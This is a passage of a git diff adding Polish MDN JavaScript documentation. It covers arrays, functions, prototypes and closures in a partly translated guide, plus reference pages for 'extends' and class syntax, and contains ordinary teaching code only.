+<p>For more on objects and prototypes see <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a>. For an explanation of object prototypes and the object prototype chains see <a href="/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a>.</p> + +<p>Po więcej informacji na temat obiektów i prototypów zobacz <a href="pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype">Object.prototype</a>. Wyjaśnienie prototypów obiektów i łańcuch prototypów zobacz <a href="/pl/docs/Web/JavaScript/dziedziczenie_lancuch_prototypow">dziedziczenie i łańcuch prototypów</a>.</p> + +<h2 id="Tablice">Tablice</h2> + +<p>Tablice w JavaScript są specialnym typem obiektu. Działają bardzo podobnie do zwykłych obiektów, jednak posiadają jedną magiczną właściwość <code>'length'</code>. Jest ona zawsze o jeden więcej niż najwyższy index w tablicy.</p> + +<p>Poniżej jeden z sposób tworzenia tablcy:</p> + +<pre class="brush: js">var a = new Array(); +a[0] = 'pies'; +a[1] = 'kot'; +a[2] = 'hen'; +a.length; // 3 +</pre> + +<p><span class="tlid-translation translation" lang="pl"><span title="">Bardziej dogodną notacją jest użycie literału tablicy:</span></span></p> + +<pre class="brush: js">var a = ['dog', 'cat', 'hen']; +a.length; // 3 +</pre> + +<p><span class="tlid-translation translation" lang="pl"><span title="">Zauważ, że</span></span> <code>array.length</code> <span class="tlid-translation translation" lang="pl"><span title="">niekoniecznie jest liczbą elementów w tablicy.</span></span> <span class="tlid-translation translation" lang="pl"><span title="">Rozważ następujący zapis:</span></span></p> + +<pre class="brush: js">var a = ['dog', 'cat', 'hen']; +a[100] = 'fox'; +a.length; // 101 +</pre> + +<p><span class="tlid-translation translation" lang="pl"><span title="">Pamiętaj - długość tablicy jest o jeden większa niż najwyższy indeks.</span></span></p> + +<p>If you query a non-existent array index, you'll get a value of <code>undefined</code> in return:</p> + +<pre class="brush: js">typeof a[90]; // undefined +</pre> + +<p>If you take the above about <code>[]</code> and <code>length</code> into account, you can iterate over an array using the following <code>for</code> loop:</p> + +<pre class="brush: js">for (var i = 0; i < a.length; i++) { + // Do something with a[i] +} +</pre> + +<p>ECMAScript introduced the more concise <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a> loop for iterable objects such as arrays:</p> + +<pre class="brush:js">for (const currentValue of a) { + // Do something with currentValue +}</pre> + +<p>You could also iterate over an array using a <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="/en/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a> loop, however this does not iterate over the array elements, but the array indices. Furthermore, if someone added new properties to <code>Array.prototype</code>, they would also be iterated over by such a loop. Therefore this loop type is not recommended for arrays.</p> + +<p>Another way of iterating over an array that was added with ECMAScript 5 is <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach()</a></code>:</p> + +<pre class="brush: js">['dog', 'cat', 'hen'].forEach(function(currentValue, index, array) { + // Do something with currentValue or array[index] +}); +</pre> + +<p>If you want to append an item to an array simply do it like this:</p> + +<pre class="brush: js">a.push(item);</pre> + +<p>Arrays come with a number of methods. See also the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">full documentation for array methods</a>.</p> + +<table> + <thead> + <tr> + <th scope="col">Method name</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>a.toString()</code></td> + <td>Returns a string with the <code>toString()</code> of each element separated by commas.</td> + </tr> + <tr> + <td><code>a.toLocaleString()</code></td> + <td>Returns a string with the <code>toLocaleString()</code> of each element separated by commas.</td> + </tr> + <tr> + <td><code>a.concat(item1[, item2[, ...[, itemN]]])</code></td> + <td>Returns a new array with the items added on to it.</td> + </tr> + <tr> + <td><code>a.join(sep)</code></td> + <td>Converts the array to a string — with values delimited by the <code>sep</code> param</td> + </tr> + <tr> + <td><code>a.pop()</code></td> + <td>Removes and returns the last item.</td> + </tr> + <tr> + <td><code>a.push(item1, ..., itemN)</code></td> + <td>Appends items to the end of the array.</td> + </tr> + <tr> + <td><code>a.reverse()</code></td> + <td>Reverses the array.</td> + </tr> + <tr> + <td><code>a.shift()</code></td> + <td>Removes and returns the first item.</td> + </tr> + <tr> + <td><code>a.slice(start[, end])</code></td> + <td>Returns a sub-array.</td> + </tr> + <tr> + <td><code>a.sort([cmpfn])</code></td> + <td>Takes an optional comparison function.</td> + </tr> + <tr> + <td><code>a.splice(start, delcount[, item1[, ...[, itemN]]])</code></td> + <td>Lets you modify an array by deleting a section and replacing it with more items.</td> + </tr> + <tr> + <td><code>a.unshift(item1[, item2[, ...[, itemN]]])</code></td> + <td>Prepends items to the start of the array.</td> + </tr> + </tbody> +</table> + +<h2 id="Functions">Functions</h2> + +<p>Along with objects, functions are the core component in understanding JavaScript. The most basic function couldn't be much simpler:</p> + +<pre class="brush: js">function add(x, y) { + var total = x + y; + return total; +} +</pre> + +<p>This demonstrates a basic function. A JavaScript function can take 0 or more named parameters. The function body can contain as many statements as you like and can declare its own variables which are local to that function. The <code>return</code> statement can be used to return a value at any time, terminating the function. If no return statement is used (or an empty return with no value), JavaScript returns <code>undefined</code>.</p> + +<p>The named parameters turn out to be more like guidelines than anything else. You can call a function without passing the parameters it expects, in which case they will be set to <code>undefined</code>.</p> + +<pre class="brush: js">add(); // NaN +// You can't perform addition on undefined +</pre> + +<p>You can also pass in more arguments than the function is expecting:</p> + +<pre class="brush: js">add(2, 3, 4); // 5 +// added the first two; 4 was ignored +</pre> + +<p>That may seem a little silly, but functions have access to an additional variable inside their body called <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments" title="/en/JavaScript/Reference/Functions_and_function_scope/arguments"><code>arguments</code></a>, which is an array-like object holding all of the values passed to the function. Let's re-write the add function to take as many values as we want:</p> + +<pre class="brush: js">function add() { + var sum = 0; + for (var i = 0, j = arguments.length; i < j; i++) { + sum += arguments[i]; + } + return sum; +} + +add(2, 3, 4, 5); // 14 +</pre> + +<p>That's really not any more useful than writing <code>2 + 3 + 4 + 5</code> though. Let's create an averaging function:</p> + +<pre class="brush: js">function avg() { + var sum = 0; + for (var i = 0, j = arguments.length; i < j; i++) { + sum += arguments[i]; + } + return sum / arguments.length; +} + +avg(2, 3, 4, 5); // 3.5 +</pre> + +<p>This is pretty useful, but it does seem a little verbose. To reduce this code a bit more we can look at substituting the use of the arguments array through <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameter syntax</a>. In this way, we can pass in any number of arguments into the function while keeping our code minimal. The <strong>rest parameter operator</strong> is used in function parameter lists with the format: <strong>...variable</strong> and it will include within that variable the entire list of uncaptured arguments that the function was called with. We will also replace the <strong>for</strong> loop with a <strong>for...of</strong> loop to return the values within our variable.</p> + +<pre class="brush: js">function avg(...args) { + var sum = 0; + for (let value of args) { + sum += value; + } + return sum / args.length; +} + +avg(2, 3, 4, 5); // 3.5 +</pre> + +<div class="note">In the above code, the variable <strong>args</strong> holds all the values that were passed into the function.<br> +<br> +It is important to note that wherever the rest parameter operator is placed in a function declaration it will store all arguments <em>after</em> its declaration, but not before. <em>i.e. function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>will store the first value passed into the function in the <strong>firstValue </strong>variable and the remaining arguments in <strong>args</strong>. That's another useful language feature but it does lead us to a new problem. The <code>avg()</code> function takes a comma-separated list of arguments — but what if you want to find the average of an array? You could just rewrite the function as follows:</div> + +<pre class="brush: js">function avgArray(arr) { + var sum = 0; + for (var i = 0, j = arr.length; i < j; i++) { + sum += arr[i]; + } + return sum / arr.length; +} + +avgArray([2, 3, 4, 5]); // 3.5 +</pre> + +<p>But it would be nice to be able to reuse the function that we've already created. Luckily, JavaScript lets you call a function with an arbitrary array of arguments, using the {{jsxref("Function.apply", "apply()")}} method of any function object.</p> + +<pre class="brush: js">avg.apply(null, [2, 3, 4, 5]); // 3.5 +</pre> + +<p>The second argument to <code>apply()</code> is the array to use as arguments; the first will be discussed later on. This emphasizes the fact that functions are objects too.</p> + +<div class="note"> +<p>You can achieve the same result using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a> in the function call.</p> + +<p>For instance: <code>avg(...numbers)</code></p> +</div> + +<p>JavaScript lets you create anonymous functions.</p> + +<pre class="brush: js">var avg = function() { + var sum = 0; + for (var i = 0, j = arguments.length; i < j; i++) { + sum += arguments[i]; + } + return sum / arguments.length; +}; +</pre> + +<p>This is semantically equivalent to the <code>function avg()</code> form. It's extremely powerful, as it lets you put a full function definition anywhere that you would normally put an expression. This enables all sorts of clever tricks. Here's a way of "hiding" some local variables — like block scope in C:</p> + +<pre class="brush: js">var a = 1; +var b = 2; + +(function() { + var b = 3; + a += b; +})(); + +a; // 4 +b; // 2 +</pre> + +<p>JavaScript allows you to call functions recursively. This is particularly useful for dealing with tree structures, such as those found in the browser DOM.</p> + +<pre class="brush: js">function countChars(elm) { + if (elm.nodeType == 3) { // TEXT_NODE + return elm.nodeValue.length; + } + var count = 0; + for (var i = 0, child; child = elm.childNodes[i]; i++) { + count += countChars(child); + } + return count; +} +</pre> + +<p>This highlights a potential problem with anonymous functions: how do you call them recursively if they don't have a name? JavaScript lets you name function expressions for this. You can use named IIFEs (Immediately Invoked Function Expressions) as shown below:</p> + +<pre class="brush: js">var charsInBody = (function counter(elm) { + if (elm.nodeType == 3) { // TEXT_NODE + return elm.nodeValue.length; + } + var count = 0; + for (var i = 0, child; child = elm.childNodes[i]; i++) { + count += counter(child); + } + return count; +})(document.body); +</pre> + +<p>The name provided to a function expression as above is only available to the function's own scope. This allows more optimizations to be done by the engine and results in more readable code. The name also shows up in the debugger and some stack traces, which can save you time when debugging.</p> + +<p>Note that JavaScript functions are themselves objects — like everything else in JavaScript — and you can add or change properties on them just like we've seen earlier in the Objects section.</p> + +<h2 id="Custom_objects">Custom objects</h2> + +<div class="note">For a more detailed discussion of object-oriented programming in JavaScript, see <a href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a>.</div> + +<p>In classic Object Oriented Programming, objects are collections of data and methods that operate on that data. JavaScript is a prototype-based language that contains no class statement, as you'd find in C++ or Java (this is sometimes confusing for programmers accustomed to languages with a class statement). Instead, JavaScript uses functions as classes. Let's consider a person object with first and last name fields. There are two ways in which the name might be displayed: as "first last" or as "last, first". Using the functions and objects that we've discussed previously, we could display the data like this:</p> + +<pre class="example-bad brush: js">function makePerson(first, last) { + return { + first: first, + last: last + }; +} +function personFullName(person) { + return person.first + ' ' + person.last; +} +function personFullNameReversed(person) { + return person.last + ', ' + person.first; +} + +s = makePerson('Simon', 'Willison'); +personFullName(s); // "Simon Willison" +personFullNameReversed(s); // "Willison, Simon" +</pre> + +<p>This works, but it's pretty ugly. You end up with dozens of functions in your global namespace. What we really need is a way to attach a function to an object. Since functions are objects, this is easy:</p> + +<pre class="brush: js">function makePerson(first, last) { + return { + first: first, + last: last, + fullName: function() { + return this.first + ' ' + this.last; + }, + fullNameReversed: function() { + return this.last + ', ' + this.first; + } + }; +} + +s = makePerson('Simon', 'Willison'); +s.fullName(); // "Simon Willison" +s.fullNameReversed(); // "Willison, Simon" +</pre> + +<p>There's something here we haven't seen before: the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this" title="/en/JavaScript/Reference/Operators/this">this</a></code> keyword. Used inside a function, <code>this</code> refers to the current object. What that actually means is specified by the way in which you called that function. If you called it using <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Accessing_properties" title="/en/JavaScript/Reference/Operators/Member_Operators">dot notation or bracket notation</a> on an object, that object becomes <code>this</code>. If dot notation wasn't used for the call, <code>this</code> refers to the global object.</p> + +<p>Note that <code>this</code> is a frequent cause of mistakes. For example:</p> + +<pre class="brush: js">s = makePerson('Simon', 'Willison'); +var fullName = s.fullName; +fullName(); // undefined undefined +</pre> + +<p>When we call <code>fullName()</code> alone, without using <code>s.fullName()</code>, <code>this</code> is bound to the global object. Since there are no global variables called <code>first</code> or <code>last</code> we get <code>undefined</code> for each one.</p> + +<p>We can take advantage of the <code>this</code> keyword to improve our <code>makePerson</code> function:</p> + +<pre class="brush: js">function Person(first, last) { + this.first = first; + this.last = last; + this.fullName = function() { + return this.first + ' ' + this.last; + }; + this.fullNameReversed = function() { + return this.last + ', ' + this.first; + }; +} +var s = new Person('Simon', 'Willison'); +</pre> + +<p>We have introduced another keyword: <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new" title="/en/JavaScript/Reference/Operators/new">new</a></code>. <code>new</code> is strongly related to <code>this</code>. It creates a brand new empty object, and then calls the function specified, with <code>this</code> set to that new object. Notice though that the function specified with <code>this</code> does not return a value but merely modifies the <code>this</code> object. It's <code>new</code> that returns the <code>this</code> object to the calling site. Functions that are designed to be called by <code>new</code> are called constructor functions. Common practice is to capitalize these functions as a reminder to call them with <code>new</code>.</p> + +<p>The improved function still has the same pitfall with calling <code>fullName()</code> alone.</p> + +<p>Our person objects are getting better, but there are still some ugly edges to them. Every time we create a person object we are creating two brand new function objects within it — wouldn't it be better if this code was shared?</p> + +<pre class="brush: js">function personFullName() { + return this.first + ' ' + this.last; +} +function personFullNameReversed() { + return this.last + ', ' + this.first; +} +function Person(first, last) { + this.first = first; + this.last = last; + this.fullName = personFullName; + this.fullNameReversed = personFullNameReversed; +} +</pre> + +<p>That's better: we are creating the method functions only once, and assigning references to them inside the constructor. Can we do any better than that? The answer is yes:</p> + +<pre class="brush: js">function Person(first, last) { + this.first = first; + this.last = last; +} +Person.prototype.fullName = function() { + return this.first + ' ' + this.last; +}; +Person.prototype.fullNameReversed = function() { + return this.last + ', ' + this.first; +}; +</pre> + +<p><code>Person.prototype</code> is an object shared by all instances of <code>Person</code>. It forms part of a lookup chain (that has a special name, "prototype chain"): any time you attempt to access a property of <code>Person</code> that isn't set, JavaScript will check <code>Person.prototype</code> to see if that property exists there instead. As a result, anything assigned to <code>Person.prototype</code> becomes available to all instances of that constructor via the <code>this</code> object.</p> + +<p>This is an incredibly powerful tool. JavaScript lets you modify something's prototype at any time in your program, which means you can add extra methods to existing objects at runtime:</p> + +<pre class="brush: js">s = new Person('Simon', 'Willison'); +s.firstNameCaps(); // TypeError on line 1: s.firstNameCaps is not a function + +Person.prototype.firstNameCaps = function() { + return this.first.toUpperCase(); +}; +s.firstNameCaps(); // "SIMON" +</pre> + +<p>Interestingly, you can also add things to the prototype of built-in JavaScript objects. Let's add a method to <code>String</code> that returns that string in reverse:</p> + +<pre class="brush: js">var s = 'Simon'; +s.reversed(); // TypeError on line 1: s.reversed is not a function + +String.prototype.reversed = function() { + var r = ''; + for (var i = this.length - 1; i >= 0; i--) { + r += this[i]; + } + return r; +}; + +s.reversed(); // nomiS +</pre> + +<p>Our new method even works on string literals!</p> + +<pre class="brush: js">'This can now be reversed'.reversed(); // desrever eb won nac sihT +</pre> + +<p>As mentioned before, the prototype forms part of a chain. The root of that chain is <code>Object.prototype</code>, whose methods include <code>toString()</code> — it is this method that is called when you try to represent an object as a string. This is useful for debugging our <code>Person</code> objects:</p> + +<pre class="brush: js">var s = new Person('Simon', 'Willison'); +s.toString(); // [object Object] + +Person.prototype.toString = function() { + return '<Person: ' + this.fullName() + '>'; +} + +s.toString(); // "<Person: Simon Willison>" +</pre> + +<p>Remember how <code>avg.apply()</code> had a null first argument? We can revisit that now. The first argument to <code>apply()</code> is the object that should be treated as '<code>this</code>'. For example, here's a trivial implementation of <code>new</code>:</p> + +<pre class="brush: js">function trivialNew(constructor, ...args) { + var o = {}; // Create an object + constructor.apply(o, args); + return o; +} +</pre> + +<p>This isn't an exact replica of <code>new</code> as it doesn't set up the prototype chain (it would be difficult to illustrate). This is not something you use very often, but it's useful to know about. In this snippet, <code>...args</code> (including the ellipsis) is called the "<a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest arguments</a>" — as the name implies, this contains the rest of the arguments.</p> + +<p>Calling</p> + +<pre class="brush: js">var bill = trivialNew(Person, 'William', 'Orange');</pre> + +<p>is therefore almost equivalent to</p> + +<pre class="brush: js">var bill = new Person('William', 'Orange');</pre> + +<p><code>apply()</code> has a sister function named <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="/en/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>, which again lets you set <code>this</code> but takes an expanded argument list as opposed to an array.</p> + +<pre class="brush: js">function lastNameCaps() { + return this.last.toUpperCase(); +} +var s = new Person('Simon', 'Willison'); +lastNameCaps.call(s); +// Is the same as: +s.lastNameCaps = lastNameCaps; +s.lastNameCaps(); // WILLISON +</pre> + +<h3 id="Inner_functions">Inner functions</h3> + +<p>JavaScript function declarations are allowed inside other functions. We've seen this once before, with an earlier <code>makePerson()</code> function. An important detail of nested functions in JavaScript is that they can access variables in their parent function's scope:</p> + +<pre class="brush: js">function parentFunc() { + var a = 1; + + function nestedFunc() { + var b = 4; // parentFunc can't use this + return a + b; + } + return nestedFunc(); // 5 +} +</pre> + +<p>This provides a great deal of utility in writing more maintainable code. If a function relies on one or two other functions that are not useful to any other part of your code, you can nest those utility functions inside the function that will be called from elsewhere. This keeps the number of functions that are in the global scope down, which is always a good thing.</p> + +<p>This is also a great counter to the lure of global variables. When writing complex code it is often tempting to use global variables to share values between multiple functions — which leads to code that is hard to maintain. Nested functions can share variables in their parent, so you can use that mechanism to couple functions together when it makes sense without polluting your global namespace — "local globals" if you like. This technique should be used with caution, but it's a useful ability to have.</p> + +<h2 id="Closures">Closures</h2> + +<p>This leads us to one of the most powerful abstractions that JavaScript has to offer — but also the most potentially confusing. What does this do?</p> + +<pre class="brush: js">function makeAdder(a) { + return function(b) { + return a + b; + }; +} +var x = makeAdder(5); +var y = makeAdder(20); +x(6); // ? +y(7); // ? +</pre> + +<p>The name of the <code>makeAdder()</code> function should give it away: it creates new 'adder' functions, each of which, when called with one argument, adds it to the argument that it was created with.</p> + +<p>What's happening here is pretty much the same as was happening with the inner functions earlier on: a function defined inside another function has access to the outer function's variables. The only difference here is that the outer function has returned, and hence common sense would seem to dictate that its local variables no longer exist. But they <em>do</em> still exist — otherwise, the adder functions would be unable to work. What's more, there are two different "copies" of <code>makeAdder()</code>'s local variables — one in which <code>a</code> is 5 and the other one where <code>a</code> is 20. So the result of that function calls is as follows:</p> + +<pre class="brush: js">x(6); // returns 11 +y(7); // returns 27 +</pre> + +<p>Here's what's actually happening. Whenever JavaScript executes a function, a 'scope' object is created to hold the local variables created within that function. It is initialized with any variables passed in as function parameters. This is similar to the global object that all global variables and functions live in, but with a couple of important differences: firstly, a brand new scope object is created every time a function starts executing, and secondly, unlike the global object (which is accessible as <code>this</code> and in browsers as <code>window</code>) these scope objects cannot be directly accessed from your JavaScript code. There is no mechanism for iterating over the properties of the current scope object, for example.</p> + +<p>So when <code>makeAdder()</code> is called, a scope object is created with one property: <code>a</code>, which is the argument passed to the <code>makeAdder()</code> function. <code>makeAdder()</code> then returns a newly created function. Normally JavaScript's garbage collector would clean up the scope object created for <code>makeAdder()</code> at this point, but the returned function maintains a reference back to that scope object. As a result, the scope object will not be garbage-collected until there are no more references to the function object that <code>makeAdder()</code> returned.</p> + +<p>Scope objects form a chain called the scope chain, similar to the prototype chain used by JavaScript's object system.</p> + +<p>A <strong>closure</strong> is the combination of a function and the scope object in which it was created. Closures let you save state — as such, they can often be used in place of objects. You can find <a href="http://stackoverflow.com/questions/111102/how-do-javascript-closures-work">several excellent introductions to closures</a>.</p> diff --git a/files/pl/web/javascript/reference/classes/extends/index.html b/files/pl/web/javascript/reference/classes/extends/index.html new file mode 100644 index 0000000000..6b25a766e5 --- /dev/null +++ b/files/pl/web/javascript/reference/classes/extends/index.html @@ -0,0 +1,88 @@ +--- +title: extends +slug: Web/JavaScript/Reference/Classes/extends +tags: + - Classes + - ECMAScript 2015 + - JavaScript +translation_of: Web/JavaScript/Reference/Classes/extends +--- +<div>{{jsSidebar("Classes")}}</div> + +<p>Słowo kluczowe <strong><code>extends</code></strong> jest używane w <a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/class">deklaracjach klas</a> lub <a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">wyrażeniach class</a> do tworzenia klasy jako elementu potomnego innej klasy.</p> + +<div>{{EmbedInteractiveExample("pages/js/classes-extends.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">class ChildClass extends ParentClass { ... }</pre> + +<h2 id="Opis">Opis</h2> + +<p>Słowo kluczowe <code>extends</code> może być użyte do dziedziczenia po niestandardowych klasach lub standardowych obiektach wbudowanych.</p> + +<p>Prototypem rozszerzenia musi być {{jsxref("Object")}} lub {{jsxref("null")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Zastosowanie_extends">Zastosowanie <code>extends</code></h3> + +<p>Pierwszy przykład tworzy klasę <code>Square</code> rozszerzającą klasę <code>Polygon</code>. <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>.</p> + +<pre class="brush: js notranslate">class Square extends Polygon { + constructor(length) { + // Wywołanie konstruktora klasy nadrzędnej + // określenie szerokości i wysokości wielokątu + super(length, length); + // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż + // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia. + this.name = 'Square'; + } + + get area() { + return this.height * this.width; + } +}</pre> + +<h3 id="Zastosowanie_extends_z_obiektami_wbudowanymi">Zastosowanie <code>extends</code> z obiektami wbudowanymi</h3> + +<p>Poniższy przykład rozszerza wbudowany obiekt {{jsxref("Date")}}. <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>.</p> + +<pre class="brush: js notranslate">class myDate extends Date { + + getFormattedDate() { + var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; + return this.getDate() + '-' + months[this.getMonth()] + '-' + this.getFullYear(); + } +} +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-class-definitions', 'extends')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + + + +<p>{{Compat("javascript.classes.extends")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Reference/Classes">Classes</a></li> + <li><a href="/pl/docs/Web/JavaScript/Reference/Classes/Konstruktor">Konstruktor</a></li> + <li><a href="/pl/docs/Web/JavaScript/Referencje/Operatory/super">super</a></li> + <li><a href="https://medium.com/beginners-guide-to-mobile-web-development/super-and-extends-in-javascript-es6-understanding-the-tough-parts-6120372d3420">Anurag Majumdar - Super & Extends in JavaScript</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/classes/index.html b/files/pl/web/javascript/reference/classes/index.html new file mode 100644 index 0000000000..81388acbc3 --- /dev/null +++ b/files/pl/web/javascript/reference/classes/index.html @@ -0,0 +1,410 @@ +--- +title: Classes +slug: Web/JavaScript/Reference/Classes +tags: + - Classes + - Constructors + - ECMAScript 2015 + - Inheritance + - Intermediate + - JavaScript + - TopicStub +translation_of: Web/JavaScript/Reference/Classes +--- +<div>{{JsSidebar("Classes")}}</div> + +<p>Klasy w Javascript zostały wprowadzone w ECMAScript 2015 jako lukier składniowy<strong> </strong>(ang. <em>syntactic sugar</em>) dla istniejącego, opartego na prototypach modelu dziedziczenia. Składnia klas <strong>nie</strong> wprowadza nowego zorientowanego obiektowo modelu dziedziczenia. Klasy wprowadzają znacznie prostszą i bardziej czytelną składnię do tworzenia obiektów i dziedziczenia.</p> + +<h2 id="Definiowanie_klas">Definiowanie klas</h2> + +<p>Klasy są w zasadzie "szczególnymi <a href="/pl/docs/Web/JavaScript/Reference/Functions">funkcjami</a>". Podobnie jak w funkcji można definiować <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operator_function">wyrażenie <code>function</code></a> i <a href="/pl/docs/Web/JavaScript/Reference/Statements/function">deklaracje funkcji</a>, tak składnia klasy posiada dwa komponenty: <a href="/pl/docs/Web/JavaScript/Reference/Operators/class">wyrażenie <code>class</code></a> i <a href="/pl/docs/Web/JavaScript/Reference/Statements/class">deklaracje klasy</a>.</p> + +<h3 id="Deklaracje_klas">Deklaracje klas</h3> + +<p>Jednym ze sposobów definiowania klas jest <strong>deklaracja klasy</strong>. Aby zadeklarować klasę, należy użyć słowa kluczowego <code>class</code> wraz z nazwą klasy (w tym przypadku "Prostokat").</p> + +<pre class="brush: js notranslate">class Prostokat { + constructor(wysokosc, szerokosc) { + this.wysokosc = wysokosc; + this.szerokosc = szerokosc; + } +}</pre> + +<h4 id="Hoisting">Hoisting</h4> + +<p>Ważną różnicą pomiędzy <strong>deklaracją funkcji</strong> a <strong>deklaracją klasy</strong> jest to, że deklaracje funkcji są przenoszone na początek ({{Glossary("Hoisting")}}) a klas nie. Najpierw musisz zadeklarować swoją klasę, by mieć do niej dostęp, w przeciwnym razie kod, jak ten poniżej, wygeneruje błąd {{jsxref("ReferenceError")}}:</p> + +<pre class="brush: js example-bad notranslate">var p = new Prostokat(); // ReferenceError + +class Prostokat {} +</pre> + +<h3 id="Wyrażenie_class">Wyrażenie <code>class</code></h3> + +<p><strong>Wyrażenie <code>class</code></strong> jest kolejnym sposobem definiowania klasy. Wyrażenia <code>class</code> mogą być nazwane lub nienazwane. Nazwa przypisana nazwanemu wyrażeniu <code>class</code> jest lokalna dla ciała klasy. (można ją odczytać z właściwości {{jsxref("Function.name", "name")}} klasy)</p> + +<pre class="brush: js notranslate">// nienazwane +var Prostokat = class { + constructor(wysokosc, szerokosc) { + this.wysokosc = wysokosc; + this.szerokosc = szerokosc; + } +}; +console.log(Prostokat.name); // Prostokat + +// nazwane +var Prostokat = class Prostokat2 { + constructor(wysokosc, szerokosc) { + this.wysokosc = wysokosc; + this.szerokosc = szerokosc; + } +}; +console.log(Prostokat.name); // Prostokat2 +</pre> + +<div class="note"> +<p><strong>Uwaga</strong>: <strong>Wyrażenia </strong><code>class</code> dotykają te same kwestie związane z przenoszeniem na początek (ang. hoisting) co wspomnianych <strong>deklaracji </strong>klas.</p> +</div> + +<h2 id="Ciało_klasy_i_definicje_metod">Ciało klasy i definicje metod</h2> + +<p>Ciało klasy jest umieszczane w nawiasach klamrowych <code>{}</code>. To tam definiuje się metody, czy konstruktory.</p> + +<h3 id="Tryb_ścisły">Tryb ścisły</h3> + +<p>Ciało klasy jest wykonywane w <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">trybie ścisłym</a> (ang. <em>strict mode</em>). W celu poprawienia wydajności, kod wykorzystywany tutaj podlega ścisłej składni; nie pozwala to na ukrycie niektórych wyjątków, a pewne słowa kluczowe są rezerwowane dla przyszłych wersji ECMAScript.</p> + +<h3 id="Konstruktor">Konstruktor</h3> + +<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">Constructor</a></code> jest szczególną metodą, która służy tworzeniu i inicjalizowaniu obiektu zdefiniowanego słowem kluczowym <code>class</code>. Dozwolony jest tylko jeden konstruktor w danej klasie. Jeśli klasa posiada więcej niż jedno wystąpienie metody <code>constructor</code>, wygenerowany zostanie błąd {{jsxref("SyntaxError")}}.</p> + +<p>Aby wywołać konstruktor klasy bazowej, należy użyć słowa kluczowego <code>super</code>.</p> + +<h3 id="Metody">Metody</h3> + +<p>Zobacz też <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">definiowanie metod</a>.</p> + +<pre class="brush: js notranslate">class Prostokat { + constructor(wysokosc, szerokosc) { + this.wysokosc = wysokosc; + this.szerokosc = szerokosc; + } + // Getter + get pole() { + return this.liczPole(); + } + // Method + liczPole() { + return this.wysokosc * this.szerokosc; + } +} + +const kwadrat = new Prostokat(10, 10); + +console.log(kwadrat.pole); // 100</pre> + +<h3 id="Metody_i_właściwości_statyczne">Metody i właściwości statyczne</h3> + +<p>Słowo kluczowe <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code> definiuje metodę kub właściwość statyczną w klasie. Statyczne metody i właściwości są wywoływane bez <a href="/pl/docs/Learn/JavaScript/Obiekty" title='An example of class instance is "var john = new Person();"'>inicjalizowania</a> ich klas i <strong>nie mogą</strong> być wywołane przez instancję klasy.</p> + +<pre class="brush: js notranslate">class Punkt { + constructor(x, y) { + this.x = x; + this.y = y; + } + + static nazwa = "Punkt"; + static odleglosc(a, b) { + const dx = a.x - b.x; + const dy = a.y - b.y; + + return Math.sqrt(dx*dx + dy*dy); + } +} + +const p1 = new Punkt(5, 5); +const p2 = new Punkt(10, 10); +p1.nazwa; // undefined +p1.odleglosc; // undefined +p2.nazwa; // undefined +p2.odleglosc; // undefined + +console.log(Punkt.nazwa); // "Punkt" +console.log(Punkt.odleglosc(p1, p2)); // 7.0710678118654755</pre> + +<h3 id="Powiązanie_this_z_metodami_niestatycznymi_i_statycznymi">Powiązanie <code>this</code> z metodami niestatycznymi i statycznymi</h3> + +<p>Kiedy metoda typu <code>static</code> lub <code>prototype</code> jest wywoływana bez <code>this</code> (na przykład poprzez przypisanie metody do zmiennej), wtedy <code>this</code><em> </em>będzie <code>undefined</code> w środku metody. Takie zachowanie będzie takie same, nawet jeżeli dyrektywa <code>"use strict"</code> nie będzie obecna, ponieważ kod w obrębie metody danej klasy zawsze będzie wykonywał się jako <code>strict mode</code>.</p> + +<pre class="brush: js 